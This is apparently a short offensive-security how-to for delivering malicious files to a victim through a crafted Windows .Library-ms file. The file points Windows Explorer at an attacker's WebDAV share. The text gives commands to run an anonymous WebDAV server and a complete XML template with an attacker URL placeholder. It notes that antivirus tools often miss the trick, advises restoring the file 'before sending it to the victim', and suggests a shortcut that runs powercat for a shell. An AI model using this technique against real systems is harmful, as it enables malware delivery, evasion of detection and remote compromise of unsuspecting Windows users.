Files with the exten­sion .Library-ms are sim­i­lar to macOS’s Vol­umes. They can con­tain files and direc­to­ry which looks like local files on the Win­dows Explor­er. Many AV/Malware sys­tems does not detect them currently.

Create a Windows Library “Directory”

Prepa­ra­tion: Install some­where a DAV share which is avail­able from the vic­tim’s sys­tem which points to a direc­tor which includes the mal­i­cous files. This can be done via the Apache2 mod­ule, or for test­ing pur­pos­es with Python:

1. $ pip3 install wsgidav
2. $ /home/naturtrunken/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/naturtrunken/webdav

Cre­ate a XML file with the fol­low­ing content:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>$attackerURL</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Notes for the XML file:

• name has to be a library, see https://learn.microsoft.com/de-de/windows/win32/shell/library-schema-entry
• ver­sion can be any integer
• isLi­braryP­inned means, that this library is pinned to Win­dows Explor­er’s nav­i­ga­tion pane
• icon­Ref­er­ence defines the icon. (See e.g. https://github.com/cyqsimon/W10-Ico-Ref)
• tem­plate­In­fo defines which columns are shown by the Win­dows explor­er. See https://learn.microsoft.com/en-us/windows/win32/shell/schema-library-foldertype for oth­er col­umn sets.
• $attackerURL is the URL of a serv­er where the attack­er pro­vides a DAV share with the files he/she want to deliv­er to the victim.

Cau­tion: After open­ing the “direc­to­ry” the first time, Win­dows adds some val­ues in the XML file which from now on only are valid on this com­put­er. There­fore, take care to restore the con­tent before send­ing it to the victim!

Now, the vic­tim can exe­cute a file there. You could also cre­ate a short­cut which exe­cutes powercat.